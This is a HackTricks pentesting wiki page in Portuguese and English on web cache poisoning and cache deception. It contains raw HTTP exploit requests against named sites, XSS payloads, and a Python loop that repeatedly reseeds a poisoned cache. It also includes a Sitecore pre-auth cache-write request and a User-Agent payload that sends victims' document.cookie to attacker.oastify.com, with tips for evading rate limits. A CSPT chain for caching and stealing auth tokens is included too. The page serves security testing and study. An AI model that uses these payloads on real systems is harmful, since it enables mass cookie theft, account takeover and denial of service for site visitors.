Cache Poisoning and Cache Deception

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

A diferença

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar os clientes a carregarem recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada será servida exclusivamente aos usuários que visitarem a página durante o período de contaminação do cache.

A execução de um ataque de cache poisoning envolve várias etapas:

  1. Identificação de entradas sem chave: São parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar essas entradas é crucial, pois elas podem ser exploradas para manipular o cache.
  2. Exploração das entradas sem chave: Depois de identificar as entradas sem chave, o próximo passo envolve descobrir como usar indevidamente esses parâmetros para modificar a resposta do servidor de maneira vantajosa ao atacante.
  3. Garantir que a resposta envenenada seja armazenada no cache: O passo final é assegurar que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acessar a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.

Descoberta: Verificar cabeçalhos HTTP

Normalmente, quando uma resposta foi stored in the cache haverá um header indicando isso; você pode verificar quais headers deve prestar atenção neste post: HTTP Cache headers.

Descoberta: Armazenamento em cache de códigos de erro

Se você suspeita que a resposta está sendo armazenada em um cache, você pode tentar enviar requisições com um header inválido, que deveria responder com um status code 400. Em seguida, tente acessar a requisição normalmente e se a resposta for um status code 400, você sabe que está vulnerável (e você poderia até realizar um DoS).

Você pode encontrar mais opções em:

Cache Poisoning to DoS

No entanto, note que às vezes esses tipos de códigos de status não são armazenados em cache, então esse teste pode não ser confiável.

Descoberta: Identificar e avaliar entradas sem chave

Você pode usar Param Miner para brute-force parâmetros e cabeçalhos que podem estar alterando a resposta da página. Por exemplo, uma página pode estar usando o header X-Forwarded-For para indicar ao cliente para carregar o script a partir dali:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Provocar uma resposta maliciosa do servidor back-end

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?…)

Colocar a resposta em cache

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn’t cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it’s working.

Foundational cache poisoning case studies

Redirecionamento global no HackerOne via X-Forwarded-Host

  • The origin templated redirects and canonical URLs with X-Forwarded-Host, but the cache key only used the Host header, so a single response poisoned every visitor to /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Requisitar imediatamente / novamente sem o cabeçalho falsificado; se o redirecionamento persistir, você tem um host-spoofing primitive global que frequentemente transforma redirecionamentos refletidos/links Open Graph em issues armazenadas.

GitHub repository DoS via Content-Type + PURGE

  • O tráfego anônimo era identificado apenas pelo caminho, enquanto o backend entrava em estado de erro ao receber um Content-Type inesperado. Essa resposta de erro era cacheável para todo usuário não autenticado de um repositório.
  • GitHub também (acidentalmente) respeitou o verbo PURGE, permitindo que o atacante limpasse uma entrada saudável e forçasse os caches a buscar a variante envenenada sob demanda:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Sempre compare cache keys autenticadas vs anônimas, fuzz headers raramente keyed como Content-Type, e probe por cache-maintenance verbs expostos para automatizar re-poisoning.

Shopify cross-host persistence loops

  • Multi-layer caches às vezes requerem múltiplos hits idênticos antes de commitar um new object. Shopify reutilizou o mesmo cache em numerosos hosts localizados, então a persistência teve impacto em muitas propriedades.
  • Use loops de automação curtos para reseed repetidamente:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Após uma resposta hit, rastreie outros hosts/assets que compartilham o mesmo namespace de cache para demonstrar o cross-domain blast radius.

Redirecionamento de asset JS → cadeia de stored XSS

  • Programas privados frequentemente hospedam JS compartilhado, como /assets/main.js, em dezenas de subdomínios. Se o X-Forwarded-Host influencia a lógica de redirecionamento desses assets, mas não é usado como parte da chave do cache, a resposta em cache passa a ser um 301 para um JS controlado pelo atacante, gerando stored XSS em todos os locais onde o asset é importado.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Mapeie quais hosts reutilizam o mesmo caminho de ativos para que você possa comprovar comprometimento em múltiplos subdomínios.

GitLab DoS em conteúdo estático via X-HTTP-Method-Override

  • O GitLab servia bundles estáticos a partir do Google Cloud Storage, que respeita X-HTTP-Method-Override. Ao sobrescrever GET para HEAD retornava um 200 OK cacheável com Content-Length: 0, e o cache de borda ignorava o método HTTP ao gerar a chave.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Uma única requisição substituiu o JS bundle por um corpo vazio para cada GET, efetivamente DoSing a UI. Sempre teste method overrides (X-HTTP-Method-Override, X-Method-Override, etc.) contra assets estáticos e confirme se o cache varia por método.

Loop de recurso estático do HackerOne via X-Forwarded-Scheme

  • O middleware Rack do Rails confiava em X-Forwarded-Scheme para decidir se forçava HTTPS. Spoofing http contra /static/logo.png acionou um 301 cacheável, de modo que todos os usuários passaram a receber redirecionamentos (ou loops) em vez do recurso:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Combine scheme spoofing com host spoofing quando possível para criar redirecionamentos irreversíveis para recursos altamente visíveis.

Cloudflare incompatibilidade de capitalização no host-header

  • Cloudflare normalizou o cabeçalho Host para cache keys, mas encaminhou a capitalização original para origins. Enviar Host: TaRgEt.CoM acionou um comportamento alternativo no origin routing/templating enquanto ainda populava o bucket de cache canônico em lowercase.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Enumere CDN tenants reproduzindo hosts com maiúsculas/minúsculas misturadas (e outros headers normalizados) e diff a resposta em cache versus a resposta de origem para descobrir shared-platform cache poisonings.

Red Hat Open Graph meta poisoning

  • Injecting X-Forwarded-Host inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Social media scrapers consomem Open Graph tags em cache, então uma única entrada envenenada distribui o payload muito além dos visitantes diretos.

Exemplos de Exploração

Exemplo mais simples

Um header como X-Forwarded-For está sendo refletido na resposta sem sanitização.
Você pode enviar um payload XSS básico e envenenar o cache para que todo mundo que acessar a página seja XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Observe que isto envenenará uma requisição para /en?region=uk e não para /en

Cache poisoning para DoS

Cache Poisoning to DoS

Cache poisoning através de CDNs

In this writeup it’s explained the following simple scenario:

  • O CDN irá armazenar em cache qualquer coisa sob /share/
  • O CDN NÃO irá decodificar nem normalizar %2F..%2F; portanto, isso pode ser usado como path traversal para acessar outras localizações sensíveis que serão cacheadas como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • O servidor web VAI decodificar e normalizar %2F..%2F, e responderá com /api/auth/session, que contém o auth token.

Usando web cache poisoning para explorar vulnerabilidades no tratamento de cookies

Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderia explorar o XSS em vários clientes que carreguem a resposta de cache maliciosa.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Observe que se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache.

Gerando discrepâncias com delimitadores, normalização e pontos

Confira:

Cache Poisoning via URL discrepancies

Cache poisoning com path traversal para roubar API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

This is also explained better in:

Cache Poisoning via URL discrepancies

Usando múltiplos headers para explorar web cache poisoning vulnerabilities

Às vezes você precisará de exploit several unkeyed inputs para conseguir abusar de um cache. Por exemplo, você pode encontrar um Open redirect se definir X-Forwarded-Host para um domínio controlado por você e X-Forwarded-Scheme para http. Se o servidor estiver forwarding todas as requisições HTTP to HTTPS e usando o header X-Forwarded-Scheme como o nome de domínio para o redirect, você pode controlar para onde a página é apontada pelo redirect.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Explorando com limitado Varyheader

Se você descobrir que o cabeçalho X-Host está sendo usado como nome de domínio para carregar um recurso JS, mas o cabeçalho Vary na resposta está indicando User-Agent, então você precisa encontrar uma forma de exfiltrate o User-Agent da vítima e poison the cache usando esse user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envie uma requisição GET com o pedido tanto na URL quanto no body. Se o web server usar o que está no body, mas o cache server armazenar em cache o que está na URL, qualquer pessoa acessando essa URL na verdade usará o parâmetro do body. Como a vuln que James Kettle encontrou no site do Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Por exemplo, é possível separar parâmetros em servidores ruby usando o caractere ; em vez de &. Isso pode ser usado para colocar valores de parâmetros sem chave dentro de parâmetros com chave e abusar desse comportamento.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Aprenda aqui como realizar Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

O Web Cache Vulnerability Scanner pode ser usado para testar automaticamente por web cache poisoning. Ele suporta muitas técnicas diferentes e é altamente customizável.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Esse padrão observado em ambiente real encadeia uma primitiva de reflexão baseada em header com o comportamento de um CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:

  • O HTML principal refletia um header de requisição não confiável (por exemplo, User-Agent) em contexto executável.
  • O CDN removia os headers de cache mas existia um cache interno/origem. O CDN também auto-cacheava requests terminando em extensões estáticas (por exemplo, .js), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca a GETs por assets estáticos.
  • Quirks no fluxo de requisição permitiam que uma requisição a um caminho .js influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de header.

Practical recipe (observed across a popular CDN/WAF):

  1. A partir de um IP limpo (evite downgrades por reputação prévia), defina um User-Agent malicioso via browser ou Burp Proxy Match & Replace.
  2. No Burp Repeater, prepare um grupo de duas requests e use “Send group in parallel” (o modo single-packet funciona melhor):
  • First request: GET em um recurso .js no mesmo origin enquanto envia seu User-Agent malicioso.
  • Immediately after: GET da página principal (/).
  1. A corrida de roteamento CDN/WAF mais o auto-cache do .js frequentemente semeiam uma variante de HTML em cache envenenada que então é servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensões Vary como User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • Using an IP from the CDN’s own cloud sometimes improves routing consistency.
  • If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.

Impact:

  • If session cookies aren’t HttpOnly, zero-click ATO is possible by mass-exfiltrating document.cookie from all users who are served the poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Um padrão específico do Sitecore permite escritas não autenticadas no HtmlCache ao abusar de pre‑auth XAML handlers e da reflection do AjaxScriptManager. Quando o handler Sitecore.Shell.Xaml.WebControl é alcançado, um xmlcontrol:GlobalHeader (derivado de Sitecore.Web.UI.WebControl) fica disponível e a seguinte chamada reflexiva é permitida:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Isto escreve HTML arbitrário sob um attacker‑chosen cache key, permitindo precise poisoning assim que os cache keys forem conhecidos.

Para detalhes completos (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Exemplos Vulneráveis

Apache Traffic Server (CVE-2021-27577)

ATS encaminhava o fragmento dentro da URL sem removê‑lo e gerava o cache key usando apenas o host, path e query (ignorando o fragmento). Então a requisição /#/../?r=javascript:alert(1) foi enviada ao backend como /#/../?r=javascript:alert(1) e o cache key não continha o payload dentro dele, apenas host, path e query.

403 and Storage Buckets

Cloudflare anteriormente cacheava respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers de Authorization incorretos resultava numa resposta 403 que era cacheada. Embora Cloudflare tenha parado de cachear respostas 403, esse comportamento ainda pode estar presente em outros serviços de proxy.

Injecting Keyed Parameters

Caches frequentemente incluem parâmetros GET específicos no cache key. Por exemplo, o Varnish da Fastly cached o parâmetro size nas requisições. No entanto, se uma versão URL‑encoded do parâmetro (por exemplo, siz%65) também fosse enviada com um valor incorreto, o cache key seria construído usando o parâmetro correto size. Ainda assim, o backend processaria o valor no parâmetro URL‑encoded. URL‑encodar o segundo parâmetro size levava à sua omissão pelo cache mas à sua utilização pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request cacheável.

User Agent Rules

Alguns desenvolvedores bloqueiam requisições com user‑agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerenciar carga no servidor. Ironia: essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS.

Illegal Header Fields

O RFC7230 especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo tchar especificado idealmente deveriam disparar uma resposta 400 Bad Request. Na prática, servidores nem sempre seguem esse padrão. Um exemplo notável é a Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, contanto que o header cache-control não esteja presente. Um padrão explorável foi identificado onde enviar um header com um caractere ilegal, como \, resultava em um erro 400 Bad Request cacheável.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

O objetivo do Cache Deception é fazer com que clientes carreguem recursos que vão ser salvos pelo cache com as suas informações sensíveis.

Antes de tudo, note que extensões como .css, .js, .png etc normalmente estão configuradas para serem salvas no cache. Portanto, se você acessar www.example.com/profile.php/nonexistent.js o cache provavelmente armazenará a resposta porque vê a extensão .js. Mas, se a aplicação estiver respondendo com o conteúdo sensível do usuário presente em www.example.com/profile.php, você pode roubar esse conteúdo de outros usuários.

Outras coisas para testar:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Outro exemplo muito claro pode ser encontrado neste write‑up: https://hackerone.com/reports/593712.
No exemplo, é explicado que se você carregar uma página inexistente como http://www.example.com/home.php/non-existent.css o conteúdo de http://www.example.com/home.php (com as informações sensíveis do usuário) será retornado e o servidor de cache irá salvar o resultado.
Então, o atacante pode acessar http://www.example.com/home.php/non-existent.css no seu próprio navegador e observar as informações confidenciais dos usuários que acessaram antes.

Note que o cache proxy deve estar configurado para cachear arquivos com base na extensão do arquivo (.css) e não com base no content‑type. No exemplo http://www.example.com/home.php/non-existent.css terá um content‑type text/html em vez de um mime type text/css.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client‑Side Path Traversal (CSPT) primitive in a Single‑Page App (SPA) with extension‑based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

High level idea:

  • A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
  • Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
  • The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
  • Anyone can then GET that same cache key without authentication and retrieve the victim’s token.

Example

  • Endpoint sensível (não cacheável na origem):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Sufixo com aparência estática faz com que o CDN passe a ser cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT em SPA anexa auth header e permite traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Exploit chain:
  1. Atrair a vítima para uma URL que injeta dot-segments no parâmetro de caminho da SPA, por exemplo:
  1. A SPA faz um fetch autenticado para:
  1. A normalização do browser resolve para:
  1. O CDN trata .css como um recurso estático e armazena em cache o JSON com Cache-Control: public, max-age=…
  2. Recuperação pública: qualquer pessoa pode então fazer um GET https://api.example.com/v1/token.css e obter o JSON de token em cache.

Preconditions

  • SPA realiza fetch/XHR autenticado para a mesma origem da API (ou cross-origin com CORS funcionando) e anexa headers sensíveis ou bearer tokens.
  • Edge/CDN aplica cache baseado na extensão para caminhos que parecem estáticos (por exemplo, *.css, *.js, images) e não varia a chave de cache com base no header sensível.
  • A origem do endpoint base é não-cacheável (correto), mas a variante com sufixo de extensão é permitida ou não bloqueada pelas regras do edge.

Validation checklist

  • Identifique endpoints dinâmicos sensíveis e teste sufixos como .css, .js, .jpg, .json. Procure por Cache-Control: public/max-age e X-Cache: Hit (ou equivalente, p.ex., CF-Cache-Status) enquanto o conteúdo permanece JSON.
  • Localize o código cliente que concatena entrada controlada pelo usuário em caminhos de API enquanto anexa headers de autenticação. Injete sequências ../ para redirecionar a requisição autenticada ao endpoint alvo.
  • Confirme que o header autenticado está presente na requisição redirecionada (p.ex., em um proxy ou via logs do servidor) e que o CDN cacheia a resposta sob o caminho percorrido.
  • A partir de um contexto limpo (sem auth), solicite o mesmo caminho e confirme que o JSON secreto é servido a partir do cache.

Ferramentas Automáticas

  • toxicache: Golang scanner para encontrar vulnerabilidades de web cache poisoning em uma lista de URLs e testar múltiplas técnicas de injeção.
  • CacheDecepHound: Python scanner projetado para detectar vulnerabilidades de Cache Deception em servidores web.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks